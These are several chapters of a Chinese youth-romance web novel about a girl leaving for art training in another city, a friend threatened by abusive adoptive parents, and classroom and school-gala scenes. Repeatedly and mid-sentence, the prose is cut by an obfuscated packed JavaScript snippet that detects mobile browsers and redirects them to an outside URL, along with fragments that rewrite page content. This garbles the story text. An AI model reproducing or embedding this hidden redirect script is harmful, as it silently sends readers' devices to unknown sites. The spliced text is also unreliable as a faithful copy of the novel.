许是事情多了,一忙碌起来,时间就过得飞快。原先觉得二月的江河县已有暖意,却不想今年的冬天格外的长。直至四月中,这春天才姗姗来迟。 轻风从敞开的窗子溜进来,拂过摊了一地的行李。 门被象征性地敲了两下,江随和已经抱着手臂斜倚在门框上。他扫了一眼房间,视线最后落到蹲在地上收拾的江随意身上。 “非要跑那么远?临州是省会,画室扎堆,就没一个能入你眼的?”声音里是明晃晃的不放心。 “考的是京州美院,又不是临州美院,”江随意喘了口气,直起腰,抬手抹了下额头的汗,“苏老师的工作室,路子比较对口些。” 江随和走进来,弯腰帮她一块把东西放进箱子里。 “去了那边如果钱不够或者缺什么东西,记得马上跟家里说。” “够够够。”江随意几乎是抢答,哭笑不得地指了指房门外。 “客厅里那两个行李箱看见没,那是昨天爸爸和程姨送过来的,什么都要我带上。”她夸张地叹了口气,“不知道的还以为我要搬家呢。” “没事,到时候妈妈不是一块陪你去。” 他起身走到书架边,目光扫过上面整齐码放的书籍和几个相框。 “听妈说,她原本想在京州给你买个小公寓,你给拒了?” 江随和拿起一个木质相框。 “嗯。” 江随意把一叠画稿仔细放进防水夹层里:“跟大家一起住集训的地方挺好的,比较方便一些,有问题随时能找老师同学。” 她顿了顿,抬头看他:“再说了,哥,京美的文修专业,那是全国顶尖的独一份儿。能不能考上还不一定呢,现在就就买房子?这想得也太远了。” “考得上。”江随和的声音不高,却十分肯定。他放下相框,抽出一本厚重的硬壳相册,随意翻动起来,“咱们意意想做的事,什么时候不行过?” 页面停在兄妹俩童年的合影上。 照片里,两个眉眼极其相似的孩子穿着同款背带裤,对着镜头傻笑,脸都圆得像刚出锅的白面包子。 “啧...”江随和的手指点了点照片里妹妹肉乎乎的脸颊,“你以前和星星一样,脸像个包子似的,现在总算长开了。”他侧头打量了一下正蹲在地上收拾画具的江随意,少女的轮廓早已褪去稚气。 江随意头也不抬地回敬:“你怎么不说说你自己呢?我小时候长什么样,你也长什么样好嘛。”她站起身,走到江随和身边,也看向照片,“后来我猛长个儿,五年级就比你高一头。结果呢?上了初中,你后来居上,跟吃了催化剂似的往上窜。” 上高中后的兄妹俩基本就都长开了,但仔细瞧,这眼睛和嘴巴还是十分相似。 “你自己看吧,我还有好多没理完呢。” 江随和没接话,只是嘴角微微扬了一下。他继续往后翻,最后停在江随意的初中毕业照上。 目光在妹妹脸上停留片刻,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“差不多了,感觉像搬家。”江随意坐到床沿,晃着腿。 “明天几点的飞机?我们一起去送你。” “别别别,”江随意连忙拒绝,“你们就别来回跑了,到时候还要回学校,太麻烦了。而且我家里人估计都去,阵仗够大了。” 程瑶轻轻笑了笑:“那好吧。到了京州,记得在群里报平安。别给自己太大压力,多注意休息。” “知道啦,程瑶同学。”江随意拖长了调子,心里暖暖的,“你也是,别光顾着刷题,该放松就放松。然后你家那边如果有什么事情你可以去找我爸妈,没关系的。” “嗯。”程瑶应了一声,停顿片刻,“意意,谢谢你。” “说什么谢谢,你跟我客气啥呀。” 挂了电话,房间里更安静了。江随意把手机丢在床上,环顾着自己的房间。书架上摆放整齐的书,窗台边那盆被她养得半死不活又顽强活着的绿萝......熟悉的一切,都将在十几个小时后暂时远离。 门铃响了起来。 江随意踩着拖鞋走到客厅,透过猫眼往外看。 “哥?”她打开门,有些惊讶,“你指纹开不了吗?” 江随和把手上的东西递给江随意,然后换鞋。 “不知道是不是坏了,我早上也进不来,用的钥匙,刚才出去忘记拿了。”他把落在玄关上的钥匙放进衣兜里。 “等一下再试试,有问题就联系店里的人来看看。” 等江随和从卫生间出来时,吃的都在餐桌上摆好了。 江随意已经拿起一个炸得金黄酥脆、形似小灯盏的灯盏糕咬了一口,发出清脆的“咔嚓”声,里面的萝卜丝和鸡蛋馅冒着热气。 “赶紧过来吃,等会儿凉了。” 她又舀了一勺牛肉羹,满足地长舒一口气:“这一口下去好幸福啊。” 江随和拉开江随意旁边的椅子坐下,打开盖子说:“那怎么办,你在京州可吃不到这些。” 江随意:“没关系,我能忍得住。” 她大口咬下一块灯盏糕,带出几根萝卜丝落在桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他则踮着脚尖,贪婪地呼吸着这自由又粗粝的风。 “鱼鱼!”一个稚嫩的声音打破了顾橖河的回忆。 靠近船头的位置,一个年轻女人抱着个约莫一两岁的小女孩。小女孩穿着嫩黄的裙子,扎着两个小揪揪,小手指着江面一艘拖着渔网的船只,眼睛亮晶晶的,又清晰地重复了一遍:“鱼鱼!” 女人温柔地笑了,蹭蹭女儿的脸蛋:“嗯,鱼鱼,好多鱼鱼在船上呢。” 旁边两个人也在交谈,声音被江风送过来。 “你听说了没?两边渡口顺下去这些房子马上就要拆喽!” “真的假的?都传好几年了,也不见个响,话说这船坐了几十年了,要真拆了还有点舍不得呢。” “我听老周讲的,八成已经定下来了。渡口要搬到下面去,而且以后只留渔船码头,坐不了人,咱以后也图不了方便了。” 顾橖河静静地听着,脸上没什么表情,目光却不由自主地又落回那对母女身上。小女孩听不懂大人的感慨,依旧兴奋地看着江面,身子在妈妈怀里一扭一扭。 似乎是察觉到他的注视,小女孩忽然转过头来。圆溜溜的大眼睛对上顾橖河的视线,没有丝毫怯意,反而咧开嘴露出几颗小牙,冲他甜甜地笑了起来。 女人也注意到了,顺着女儿的目光看过来,见是个清俊的少年,便也友善地笑了笑,低头轻声教女儿:“乖乖,叫哥哥好。” 小女孩很听话,奶声奶气地对着顾橖河喊:“哥哥!” 那一声清脆的童音,让顾橖河的喉结滚动了一下,心头骤然涌起一阵尖锐的酸涩和钝痛。他勉强对着那对母女点了点头,迅速移开了视线。 渡船靠岸的鸣笛声拉回了他。 南江渡口到了。 顾橖河是第一个迈步下船的,踩上有些湿滑的水泥台阶,将那对母女和关于拆迁的议论都抛在身后。冷风一吹,方才心口那股窒闷感才稍稍散去。 沿着坡道往上走,不远处就是公交站。站牌下空无一人,顾橖河拿出手机看了看时间,正盘算着下一班车还要等多久,一阵嬉闹声从后面的花坛传来。 “周曜承,你快点,等会儿老师发现了。” “来了来了。” 这声音......有点耳熟? 顾橖河朝花坛方向看去。 只见两个穿着校服的小小身影,正猫着腰从树丛后面钻出来。前面那个一边拍着身上的草屑,一边紧张地回头张望。 “星星?”顾橖河有些意外。 正拍着裤腿的江随星猛地一顿,脖子僵硬地转过来。当他看清站在公交站牌下的人时,眼睛瞪得溜圆,脸上写满“完蛋了”三个大字。 他旁边那个叫周曜承的男孩子也吓得缩了缩脖子。 “阿橖哥哥?”江随星的声音有点抖,带着被抓包的惊慌。他飞快地扫了一眼顾橖河身后,紧绷的神经似乎松了一点点,但眼里的忐忑丝毫未减。 他试探着往前蹭了一小步,小声问:“阿橖哥哥,你今天也逃学了吗?” “现在是上课时间,你们怎么会在这里?”顾橖河的眉头瞬间拧紧,“你逃学?” 江随星连忙摆手:“不是不是,不是逃学。”他指着马路对面那栋显眼的灰白色建筑,“今天是学校组织来博物馆参观,我们就是觉得里面太无聊了,刚好自由活动,就溜出来透口气的。” 他努力想让自己显得理直气壮一点。 “每次都这几个地方,我幼儿园就来过了,真没意思。” 旁边的周曜承也赶紧点头附和:“就是说嘛,每次不是博物馆就是展览馆,三年级的时候都来过好几次了,闭着眼睛我都会走了!” 江河博物馆就在南江,出了渡口抬头就能看见。但顾橖河看着眼前两个不知天高地厚的小鬼头,还是有些生气。 他几步走到两个孩子面前,高大的身影带着压迫感:“所以你们就敢自己偷偷跑出来?万一遇到坏人怎么办?你们老师现在怕是急疯了。” 江随星彻底吓懵了,他从未见过这样的顾橖河。眼睛里迅速蒙上一层水汽,鼻头也红了,扁着嘴,一副要哭不敢哭的样子。 他下意识地后退了半步,声音带了哭腔:“我们就想在外面玩一小会儿,马上就回去的......” “不可以。” 顾橖河不给丝毫商量的余地,强压下心头的火气,语气稍微缓和:“现在马上回博物馆,我送你们过去。” 江随星和周曜承对视一眼,耷拉着脑袋,像两只斗败的小公鸡,一步三挪地跟在顾橖河身后,朝着马路对面的博物馆走去。 走到博物馆的大门前,江随星磨磨蹭蹭地停下脚步,他抬起头,眼圈红红地看着顾橖河,小声嘟囔:“哥,这事儿你别告诉我哥哥姐姐,行吗?我保证,下次再也不敢了!” 顾橖河看着他可怜巴巴的模样,也有些心软。 江随星见他没有立刻拒绝,又急切地补充了一句:“反正咱俩之间也不差这一个秘密,对吧?” 顾橖河无奈地叹了口气,正想开口答应,目光却越过江随星的头顶,看到博物馆大厅里冲出来一个身影。 “星星,秘密要藏不住了。” “什么?” “江随星!周曜承!”老师几乎是尖叫着冲下台阶,“你们两个跑哪里去了?一眨眼的功夫人就不见了,你们要吓死我是不是?” 她冲到近前,一手一个,上上下下全都仔细检查了一遍。 “等会儿就喊你俩家长。” 确认学生没事后,她才注意到旁边还站着一个少年,先是警惕地打量了顾橖河一眼,在看到胸口南江中学的标志后才有所缓和:“你是?” 顾橖河:“您好,我是江随星姐姐的同学。刚才在公交站碰到他们,知道他们是偷跑出来的,就把他们送回来了。” 老师道谢:“谢谢你啊同学,麻烦你了。” “应该的。” “行了,先跟我进去。”老师拉着两个垂头丧气的学生,转身就往博物馆走。 原本万里无云的晴日竟变了天,顾橖河刚返校没多久外面便电闪雷鸣,下起了大雨。而原在千里之外的京州,恰巧也下起了雨。 随着雨声愈响,石膏像的阴影在纸面逐渐成型。等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017657|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江随意放下笔,揉着发酸的手腕抬头时,窗外天色已经彻底暗了下来。风呜呜刮着,不断拍打在窗户上。 她收拾好画具,这才想起摸出手机。屏幕亮起,显示着几个未接来电,号码看着有点眼熟,好像是学校宿管阿姨那边的座机。 平常在校期间手机都要上交,和外界联系基本就靠宿舍楼里那些刷一卡通才能用的公用电话机,并且只能拨给预先登记的几个固定号码。真遇到急事,要么找班主任,要么就得和宿管打好关系。 这个时间点,学校晚自习应该已经开始好一阵子了,现在回拨过去大概率没人接的。 江随意今天不打算继续画下去了,虽然妈妈离开前陪她简单收拾了一下住的地方,但还有些零碎东西没归置好。 画室安排的宿舍就在旁边一栋独立的小楼里,原本是两人间,但现在只有江随意一个人住,显得格外宽敞。 刚整理完,敲门声就响了起来。 门被推开,张知岚换了身舒适的睡衣,手里还拿着个苹果,倚在门框上。 “怕你一个人不习惯就过来看看,怎么样,有没有缺什么东西?” 江随意心里一暖,笑着摇头:“都整理好了,暂时不缺什么。” 张知岚点点头:“行,没事就好。别客气啊,我就住你楼下203,有事儿就喊一声。那你早点休息,明天见。” “嗯,知道啦,你也早点休息。” 送走张知岚,房间里又恢复了安静。江随意坐回书桌前,摊开习题册做题。 掐着晚自习下课的点,没几分钟,那边就来了电话。 江随意立刻接通:“喂?” 电话那头的周望玥还穿着粗气:“意意,出事了。” 江随意的心瞬间提了起来,握紧了手机:“怎么了?你别急,慢慢说。” “程瑶她爸妈今天又来了!”周望玥的声音又快又急,“下午放学那会儿,我去找她俩吃饭,她爸妈直接堵在教室门口。” “他们又来干什么?” “谁知道他们又抽什么风!” 周望玥喘了口气,语速依旧很快:“这次看着更急了,说什么程瑶满十八岁了,翅膀硬了,不认爹妈之类的,骂得可难听了,还说什么......说什么家里给她相看了好人家,让她别读书回去嫁人。程瑶脸都白了,陈诺想上去理论,被他们一把推开,差点摔了。” “程瑶现在人呢?” “在警局呢。当时周围同学马上就去喊人了,结果她爸妈死皮赖脸还威胁要跳楼,学校没办法就报警了,他们班主任和段长陪着程瑶一块去了。” “哪有这样的父母,意意,你说她爸妈不会真强迫程瑶嫁人吧?” 江随意冷静下来:“别慌周周,既然警察已经介入了,学校也会处理的。程瑶已经成年了,他们没权利强迫她做任何事。陈诺现在怎么样?” “她没事,我俩现在就是担心程瑶。” “会没事的。”江随意看着窗外沉沉的夜色,心里像压了块石头。挂了电话,黑笔滚落在一边,江随意才惊觉自己的手脚冰凉发麻。 谁也没想到程瑶的父母会如此明目张胆,竟然敢到学校直接抢人。 在程瑶成年,以为终于可以挣脱牢笼的时候,那对吸血鬼一样的养父母又像阴影般缠了上来。他们口中的“好人家”,无非是一场拿程瑶换钱的交易。 46. 雨后 江随意当即就联系了她爸,将事情全部告知。而这一夜,她睡得并不安稳。梦里总是交织着程瑶养父母歇斯底里的叫骂,还有初三那个昏暗傍晚里混乱的撕扯和窒息感。 惊醒时,窗外天色已经泛白,雨势小了些,淅淅沥沥,空气中弥漫着潮湿的气息。 直到中午,她才接到程瑶的电话。 江随意几乎是立刻抓起手机,找了个僻静的走廊拐角才按下接听。 “意意,没事了,真的没事了,别担心。” “怎么样了?”江随意急切地问,手指无意识地抠着冰凉的墙壁瓷砖。 “昨天叔叔很快就来了警局,还带着律师。警察那边态度很强硬,明确警告了他们,如果再敢到学校寻衅滋事,就不是调解那么简单,直接按扰乱公共秩序拘留。林老师和段长也再跟学校上面做了汇报,保安处那边也加强了管理,以后绝不会再放他们进校门。” 程瑶的声音里带着些许疲惫:“林老师特别好,她跟我说,以后如果遇到节假日学校没人,或者感觉不安全的时候,可以直接住到她家里去。她家就在学校旁边那个老小区,很近。” 江随意紧绷的肩膀终于松懈下来,靠在墙上,长长地舒了一口气。 “那就好......那就好。你没事最重要。” 电话里沉默了几秒。 程瑶的声音低了下去,竟带着一点哭腔:“意意,我本来不想麻烦你,没想到还是让你知道这些糟心事了。” “说什么傻话。”江随意立刻打断她,“我走之前不就跟你讲过吗?有什么事,别自己扛着找我爸妈就可以。程瑶,我知道你不愿意靠别人,总觉得欠人情。但你得明白你现在最重要的是认认真真把书读好,不要让这些烂人烂事绊住你的脚。” “不要让任何人影响你。” “既然能解决,那就用最迅速直接的办法。” 电话那头只有程瑶细微的呼吸声。 但江随意知道她在听,也在挣扎。过了好一会儿,才听到程瑶问道:“意意,那你帮我问问叔叔,有没有什么办法......可以彻底解除收养关系?” “你想好了?” “嗯。” 程瑶的回答只有一个字,却重逾千斤。 过了一会儿,她又继续道:“我想好了。那天你问我想考什么大学的时候,其实我很早就有了答案。因为阿爷,所以我对他们一直忍让着,总想着熬过去就好了。但我发现继续忍下去,他们只会变本加厉,觉得我软弱可欺。这次能跑到学校抢人,下次说不定真会一棍子把我打晕直接拖走卖掉。” “我不想被这样的人影响我的未来。” 程瑶的声音起初有些颤抖,但说到最后却冷静下来。 “所以,意意,帮帮我。” “好。”江随意没有丝毫犹豫,“现在你只需要安心上课。” “意意......”程瑶又哽住了,带着浓重的鼻音,“我欠你的太多了,感觉这辈子都还不清了。” 江随意轻笑一声:“说什么欠不欠的?” “程瑶,我们是朋友。再说了,真要算起来,当初要不是你拉住我,可能我现在......”她的话音戛然而止,似乎触及了什么不愿深究的回忆。 那个混乱的傍晚,毫无预兆地在脑海浮现。江随意因为几道题留了校,程瑶便在教室里等她,后面回去的时候比较迟了,校外也没什么人。 走出没多久,程瑶返校拿落下的东西,江随意在原地等她。结果班里那几个和江随意不对付的女生,带着校外的人来堵她。 推搡,辱骂。 江随意一开始只是躲避,想挣脱,直到被狠狠推倒在地,一股从未有过的暴戾瞬间冲垮了理智。她像一头被激怒的困兽,不管不顾地扑向那个推她的女生,死命地掐住了对方的脖子。 那一刻,脑子里一片空白,发了疯一般就是不肯松手。 后来是程瑶折返回来,死死抱住她的胳膊,哭着在她耳边嘶喊—— 江随意,松手,快松手,你冷静一点! 意意,她快呼吸不过来了,松手,江随意! “其实那天是有个男生......”程瑶犹豫着,似乎想说什么。 江随意却打断了她:“男生?我好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026470|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是迷迷糊糊听到有个男生的声音,他喊了什么,不过当时太乱,有点记不清了。算了,都过去那么久的事,不提了。” 她不想再回忆那个失控的自己,也不想深究那个模糊的、带着口罩的男生身影是谁。 那场冲突最终以她发了疯似的反抗和程瑶的拼死阻拦告终,那几个女生大概也被吓破了胆,之后再没敢找她麻烦。 而后面江随意拦下了想报警的程瑶。 那段时间妈妈公司出了问题,她不想再因为自己的事情去让妈妈分心。 江随意一直以来都是其他人口中“别人家的乖孩子”。如果不是程瑶拦下了,照她当时的样子说不定真的就不会松手。 程瑶顿了顿:“其实后来我生日那天,你和陈诺去洗手间,我和周周碰上了叶书和刘明璇,当时你哥也在。” “我哥?那你和他说了?” “没说那次的事情,只是提了一下初中的时候她们总针对你,说了些很难听的话。” 江随意没有讲话。 难怪那天公交车上哥哥情绪不对,可回来后他什么也没问,一个字都没提。 “抱歉,意意,我只是觉得当初那件事情不应该就这么算了。” 程瑶深吸了一口气。 “晓静的事情,和她们肯定也逃不了关系。意意,坏人就得接受应有的惩罚,不是吗?” “意意?”程瑶没听到回应,有些着急,“你还在听吗?” 江随意回过神,喉咙有些发干。 她发现自己和程瑶其实站在了天平的两端。 程瑶被逼到了绝境,终于爆发出孤注一掷的勇气想要挣脱牢笼。 而她呢? 看似冷静理智,却一直用“不添麻烦”“不让他们担心”的理由把自己困在原地,总是用自己的方式去解决,固执地停留在过去的阴影里,用沉默筑起高墙。 最矛盾的,一直是她自己。 “我在听。” 江随意出了走廊,雨不知何时已经停了。厚重的云层裂开缝隙,一束明亮的阳光斜斜地照射下来,落在湿漉漉的树叶上,折射出光点。 47. 解题 周望玥捏着那颗葡萄,指尖沾上一点冰凉的汁水。她没立刻吃,只是把葡萄在指腹间捻着,紫色的果皮被揉得有些发皱。 “前路漫漫啊——” 她又开玩笑道:“实在不行我也跟我哥一样去国外混两年回来吧。” “噗——”门口传来一声笑,陈诺拎着两个大塑料袋,肩膀顶开虚掩的门,程瑶跟在她身后进来。 “周望玥同学,你上次还说趁着你哥不在的这两年,要奋发图强把你哥踢出族谱继承家业呢。”陈诺把袋子往小桌板上,“怎么现在也要出去镀金了?” 周望玥从床上弹起来,抓起枕头就朝陈诺扔过去:“还笑,你个独生女压根就不懂得兄弟姐妹之间的恩恩怨怨。” 陈诺灵活地一偏头躲过,枕头被身后的程瑶接住。 程瑶把枕头塞回去给她:“再乱丢就没你的饭了。” “哎呀,那不是被我哥压制这么多年吗,我做梦都想揍他。难得出去了,正是我夺位的好时机。”周望玥嘿嘿一笑,下了床凑到桌前翻袋子:“我要的鸡排饭呢?” “这儿呢。” 陈诺没好气地把一份推给她,然后又从兜里掏出饭卡扔在桌上。 “公主殿下诶,我看你就是闲的,要是真的想夺位,就少琢磨那些有的没的,把书读好,反正你成绩甩你哥一列。” “那确实,我爸说家里祖坟的青烟在我考上南江时短暂的冒过,要是高考考得好,族谱都要给我单开。” 周望玥打开饭盒,浓郁的炸鸡香气瞬间弥漫开,冲淡了方才的愁绪。她狠狠咬了一大口酥脆的鸡排:“啊,活过来了!” 江随意和程瑶互相对视,默契的摇头笑了笑。 下午江随意提前到了教室,没什么人,安静得只剩下头顶风扇缓慢旋转的嗡鸣。 她坐在位置上,翻看着抽屉里那一叠被周望玥收拾好的卷子,竟有些无从下手。 而顾橖河正从前门进来。 周望玥的位置在过道上,当桌面上投下一道影子,江随意以为是她来了,正想说之后其实没必要留作业,这么多的量,得补到猴年马月去。 她抬起头,恰好撞进顾橖河看过来的目光里。那目光沉静得像无风的深潭,却又分明映着窗外的天光。 江随意先是一愣,然后眉眼一弯:“好久不见,顾橖河。” 顾橖河浅浅笑了。 “回来了。” 预备铃适时响起,大伙儿都陆陆续续到了教室,打破了这点微妙的余韵。陈老师抱着一叠卷子进来,站上讲台,目光扫视一圈。 “时间紧任务重,今天我们先梳理一下重点实词虚词和特殊句式,后半节课集中讲几个易错的文言文翻译题型。”陈老师语速很快,直接切入正题。 ...... “好了,今天就到这里。学考虽然难度不算很大,但覆盖面广,基础一定要打牢。大家抓紧时间复习,有不懂的随时来办公室问我。” 教室里又开始热闹起来,江随意低头整理着刚才的笔记,直到顾橖河站在一边,手里拿着三个硬壳的笔记本,很自然地递了过来。 “这段时间三科的笔记,还有老师补充的学考重点题型和易错点,我都整理在里面了。你基础好,主要看后面划红线标注的部分就行。” 江随意眨了眨眼,有些意外地看着他。 就在这时,周望玥和林一娢从外边回来,两人脸上都带着点不甘心的懊恼。 “气死我了气死我了!”周望玥也没顾上有人挡在自己的座位前,反倒是一屁股坐在江随意前座的空位上,拍着桌子,“我俩和其他人商量了半天,想报上次徽州研学排的那个改良版《梁祝》片段,结果你猜怎么着?被五班那群人抢先一步报上去了,搞什么嘛。” 林一娢也皱着眉头附和:“就是莫,明明说好了排别的,得亏我们还有别的备选。” 《梁祝》? 听到这两个字,江随意几乎是下意识地转向还站在那的顾橖河。他脸上的表情没什么变化,甚至微微侧过身,似乎准备回自己的座位。 见对方神色如常,她才稍稍松一口气。 江随意:“那你们的备选是什么?” 林一娢转头,带着点期待:“我们打算排鱼灯舞,就上次徽州鱼灯夜游看的那一场,你有兴趣参加不?” 江随意摇了摇头:“真不好意思啊一娢,我可能参加不了。集训那边进度催得紧,学考一结束我就得立刻回去,现在还落下一大堆课等着补呢。” 林一娢虽然有点失望,但也理解地点点头。 “那没事,我和周周再去找找人。”她说着,转身就准备去“抓壮丁”。 顾橖河也顺势抬步,打算离开。 “哎,顾橖河,你等一下!”江随意却忽然出声叫住了他。 顾橖河停下脚步,垂眼看她:“嗯?” 江随意从文件夹里抽出一张数学试卷,翻到背面,指着最后一道几何与函数结合的大题:“这道题我昨天做了,答案是算出来了,但总觉得步骤有点绕,你看看有没有什么更简洁直接的方法?” 江随意一边说,一边把卷子往她和周望玥的桌子中间挪了挪,方便两人一起看。 顾橖河没说话,只是向前倾身,目光落在她手指的地方。他看得很快,眉头微微蹙起,似乎在脑中推演着不同的解法。 “辅助线添的位置可以再优化。”片刻后,他拿起江随意桌上的笔。 江随意顺着他指的方向看过去,脑中迅速勾勒出新的辅助线和几何关系。她从笔袋里拿了新的笔,飞快地在草稿纸上按照顾橖河的思路重新计算起来。 两人靠得很近,头几乎要碰到一起,专注于纸上纵横的线条与繁复的公式,沉浸在逻辑的世界里,教室里的喧闹仿佛被一层无形的屏障隔开。 周望玥看着自己的位置被人占去,用手肘轻轻捅了捅林一娢,挤眉弄眼地说:“学霸的世界就是不一样啊,叽里咕噜讲什么都听不懂。” 林一娢抿着嘴笑,点了点头。 两人顺畅地得出了最终答案,与之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064979|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的结果一致,但过程简洁漂亮了许多。 江随意放下笔,长长舒了口气,似乎并没有注意到他们靠得有多么近。直到一丝极淡的清冽气息若有似无地飘过,轻轻扯动了一下她过于专注的神经。她下意识地微微偏了下头,想分辨这气息的来源。 她这一回头,才察觉到他们之间的距离。 江随意怔住几秒,又道:“谢谢。” 而在她愣神的片刻,顾橖河就已经起身,目光从她脸上掠过,又落到那张写满新解的草稿纸上,只淡淡应了一声:“嗯。” 他没有多停留,转身朝自己后排的座位走去。 周望玥立刻凑了过来,胳膊搭上江随意的肩,笑嘻嘻地压低声音。 “好和谐的画面啊,果然学霸的眼中只有学习。” 江随意一把拍开她的胳膊,故意板起脸:“少来,你俩不是要去找人吗,还磨叽,等下就上课了。” 林一娢也挤了过来。 “倒也是不急这一会儿,快说说你俩......” “说什么嘛,赶紧找你的人去。”江随意原本没觉得有什么,被她俩一调侃,顿时红了脸。 好在铃声及时响起催促着众人归位,林一娢才磨磨蹭蹭回去。 周望玥在她身旁坐定,撑着脑袋看过来,正要开口,嘴里就被塞了一块小面包。 江随意:“从现在开始你不许讲话,赶紧吃了准备上课。” 周望玥被面包堵了嘴,腮帮子鼓鼓的,幽怨地瞪了江随意一眼,到底没再出声,只是含糊地“唔唔”两声,转过身去找下节课要校对的练习。 时间过了一半,老师布置了新的课堂练习。 江随意正准备在草稿本上推算,一张小纸条从旁边推了过来,压在试卷的边缘。她侧头,周望玥冲她挤挤眼,下巴朝后座方向努了努。 江随意展开纸条,上面是周望玥龙飞凤舞的字迹。 【刚才我被叫上去解题下来的时候,某人可是一直往你这看呢。】 江随意抬头看一眼老师,然后在纸上快速落笔。 【老师和黑板就在前面,他难不成要往后转啊。】 周望玥挑眉,继续写。 【急什么,某人是谁哦,我可没点名道姓。】 江随意脸一热,迅速把纸条揉成一团,塞进笔袋深处,没好气地瞪了周望玥一眼,用口型无声地说:“闭嘴,做题!” 周望玥咧开嘴轻笑,肩膀耸动着,这才心满意足地转回去写题,笔杆又开始转起来,一副“我懂我懂”的样子。 江随意被气笑了,底下的脚轻轻踢了她一下,准备继续写题。 但看着那张被两人笔迹填满的草稿纸,她唇角不自觉地勾起,紧接着就把纸撕了下来,然后仔细折好放进笔袋的夹层里。 这一系列动作都被周望玥看在眼里,她憋着笑,争取不让自己发出声来。 江随意没再理会她,倒是喝了一口水,扫了眼方才和顾橖河一块讨论的那道题,心想:这么简单的题目谁还不会了。 48. 梁祝 周五傍晚,南江中学的空气里提前飘起了节日的气息。食堂里人声鼎沸,但比平时更早地空了盘。 “意意,快帮我看看后面。”周望玥原地转了个圈,身上那件水蓝色的鱼鳞纹演出服摇曳,腰后一根飘带调皮地翘着。 江随意笑着走过去替她抚平:“好了,很漂亮。” 窗外天色已暗,操场方向隐约传来试音响的鼓点和人声。 “走吧,该下楼排队集合了。” 教学楼通往操场的路上已拉起了闪烁的彩灯,下午刚好下了一场急雨,光影在湿漉漉的地面投下斑斓的碎影。 高二(三)班的位置在前排,视野极佳。刚坐下不久,校长和教务处主任的开场白便淹没在更大的喧嚣浪潮里。 空气被掌声和尖叫烘烤得热腾腾的。江随意置身其中,脸颊也被这热意熏得微红,跟着身旁的林琳用力鼓掌,所有人都暂时抛开了学业。 直到主持人报幕:“接下来,请欣赏高二(三)班带来的《鱼跃星河》!” 场下瞬间爆发出本班同学震耳欲聋的欢呼和掌声。 舞台灯光暗下,只余几束清冷的蓝如幽深水底。紧接着,十几盏形态各异的鱼灯次第亮起,轻盈地游入场中。 持灯的舞者脚步轻移,或聚或散。鱼灯随之摇曳跃起,光影流转间真如一群灵动的鱼儿在星河流淌的深水中自在嬉戏。 欢呼的间隙,江随意转过身和林琳搭话。 顾橖河就坐在斜后方不远处,舞台变幻的光影掠过他的脸,而他的目光穿过喧闹的缝隙落在江随意身上。 江随意瞧见了,朝他微微歪了下头,同时抬起手挥了挥。 顾橖河点头一笑,然后便移开了视线重新看向舞台,仿佛刚才那短暂的交汇只是光影造成的错觉。 鱼灯舞在雷鸣般的掌声中结束。 主持人上台串场,穿插着宣布本学期的各类表彰。 “下面请欣赏高二(五)班带来的戏曲片段《梁祝》!” 主持人的声音再次响起,梁山伯与祝英台的装扮一亮相,台下便响起一片“哇”声。 江随意心不在焉地跟着拍手,却还是没忍住回头。。 那个位置,空了。 江随意忽然想起那次在办公室听到《梁祝》时,顾橖河几乎狼狈逃跑的背影。 以及徽州排练那天...... 江随意拿起放在脚边的水杯喝了一大口,又对身旁的林琳说:“琳琳,我的水喝完了,去教学楼那边再接一点。” 林琳正看得津津有味,闻言顺手拿起自己座位下还没开封的一瓶果汁递过来:“喏,直接喝我的,省得跑一趟。” “不用不用,谢谢啦。”江随意笑着摆摆手,晃了晃自己手里的空杯,“我喜欢喝温的,顺便活动活动,坐久了腿有点麻。” 林琳不疑有他,点点头:“那行,你快去快回,后面还有小品呢。” 江随意猫着腰,尽量不挡着后面同学的视线。一走出操场,周遭瞬间安静了许多,只有远处舞台传来的乐声和唱腔模糊地飘荡在夏夜的微风里。 教学楼里空荡寂静,她直奔自己班级所在的楼层,但从窗外就能看到教室里一片黑漆漆的。 没人。 江随意站在教室门口,握着水杯的手指微微收紧。 她想到了一个地方。 